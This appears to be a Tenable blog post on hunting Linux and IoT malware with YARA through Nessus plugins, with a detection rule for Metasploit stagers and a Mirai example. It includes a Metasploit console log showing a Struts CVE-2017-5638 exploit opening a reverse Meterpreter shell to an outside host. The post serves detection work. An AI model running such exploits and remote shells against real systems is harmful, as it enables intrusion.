Hunting Linux Malware with YARA

Tenable recently released two new YARA plugins to complement the already existing Windows YARA plugin. The new plugins are YARA Memory Scan (Linux) and YARA File Scan (Linux) (Solaris). The plugins bring YARA functionality to Linux and Solaris hosts. This blog discusses a couple of scenarios in which these plugins are useful.

Memory scanning

There’s been a lot of chatter about the recent Struts 2 remote code execution vulnerability CVE-2017-5638. Much of the excitement is due to the active exploitation of the vulnerability in the wild. In response, we’ve published a blog explaining how to use Nessus to detect the vulnerability.

There are many approaches that should be taken to determine if the vulnerable server pictured above has been exploited. A few existing Nessus plugins can help. For example, the Linux MD5 scanner (plugins 71261 and 91223) and the Linux process reputation plugin (71261). Another approach is to use YARA to scan the system for malicious files or processes. For example, what if the attacker used Metasploit’s new module for CVE-2017-5638 to execute a payload on the server?

msf exploit(struts2_content_type_ognl) > run

[*] Started reverse TCP handler on 52.93.5.12:4444
[*] Sending stage (2849752 bytes) to 128.183.27.101
[*] Meterpreter session 5 opened (52.93.5.12:4444 -> 128.183.27.101:45862) at 2017-03-24 07:40:53 -0400

meterpreter > shell
Process 10727 created.
Channel 1 created.
whoami
albinolobster

File scanning won’t be good enough here because the payload is deleted from disk shortly after gaining execution. You’ll need to scan the system’s running processes. But first you need a YARA rule to describe the payload in memory.

The YaraRules project has a lot of great rules, but I couldn’t find one that described Metasploit’s initial stager or Mettle (the Unix meterpreter). So, I wrote my own rule and added it to Tenable’s open source YARA rules repository. The rule makes the observation that the stager is comprised of a single LOAD segment with the read, write, and execute flags all set:

import "elf"

rule single_load_rwe
{
     meta:
          description = "Flags binaries with a single LOAD segment marked as RWE.
          family = "Stager"
          filetype = "ELF"
          hash = "711a06265c71a7157ef1732c56e02a992e56e9d9383ca0f6d98cd96a30e37299"

     condition:
          elf.number_of_segments == 1 and
          elf.segments[0].type == elf.PT_LOAD and
          elf.segments[0].flags == elf.PF_R | elf.PF_W | elf.PF_X
}

You can then scan all the running processes using the following command (note: there is a bug in YARA 3.5 and below that negatively affects Linux memory scanning. Do not use memory scanning with those versions):

albinolobster@ubuntu:~$ for pid in `ps -ef | awk '{print $2}'` ; do sudo yara ./rule_file.yar $pid 2> /dev/null; done
single_load_rwe 10716
single_load_rwe 10718
albinolobster@ubuntu:~$

From the output, you can see that the rule matched two processes: 10716 and 10718. The processes can be found in ps:

10601 pts/18   Sl+   14:25  |   |   \_ /usr/lib/jvm/java-8-openjdk- …
10716 pts/18   S+     0:20  |   |       \_ /tmp/konL6821804046402511623.exe
29565 pts/18   S+     0:00  |   |       |   \_ /bin/sh -c /bin/sh
29566 pts/18   S+     0:00  |   |       |       \_ /bin/sh
10718 pts/18   S+     0:00  |   |       \_ /tmp/konL6369286348563749691.exe

While this is great, manually running YARA on every server isn’t a scalable solution. Using YARA through Nessus makes scanning en masse much easier. Configuring Nessus to do the scan hasn’t really changed since previous YARA blogs (Threat Hunting with YARA and Nessus and GRIZZLY STEPPE Detection with Security Center). The only difference is that the new plugins require SSH credentials if you aren’t using agents and the memory scanning plugin requires escalated privileges. Below is the output from Nessus running YARA on the same hacked host:

File scanning

In September 2016 the Mirai botnet became infamous for executing the largest ever distributed denial of service (DDoS) at the time on KrebsOnSecurity. Mirai was later used in a DDoS attack on Dyn that caused wide scale outages across the internet.

What’s interesting about Mirai is that it is not technically sophisticated. At the time of the attacks, it spread by logging into IoT devices and routers using default SSH or Telnet credentials. However, no one ever came up with a solution to log into the affected devices and scan them for Mirai. This is largely due to the variety in the IoT and router ecosystems. A given device could be running a variant of Linux or it could be running a proprietary OS. The architecture could be MIPS, PowerPC, ARM, or something else entirely. The CPU could be big-endian or it could be little-endian.

For example, I have a Ubiquiti SOHO router on my LAN. The router has a MIPS (big-endian) processor, runs “Linux AirRouter” as the operating system, and provides much of the shell functionality via BusyBox. There is no easy way to get YARA on this device. There is no package repository. No Python. No compiler. You’d need to compile a MIPS version of YARA elsewhere and copy it onto the box.

However, we’ve done all that work for you in these plugins. Using Nessus, I can run YARA on my Ubiquiti router just by adding it to the targets list. Using Florian Roth’s (@cyb3rops) rule for Mirai I’m able to locate the malware on the device’s filesystem:

Conclusion

Linux, and especially IoT devices, have not traditionally been an easy space to look for malware. With these new plugins, Tenable hopes to give you further insight into your hosts and the ability to hunt malware wherever it may hide.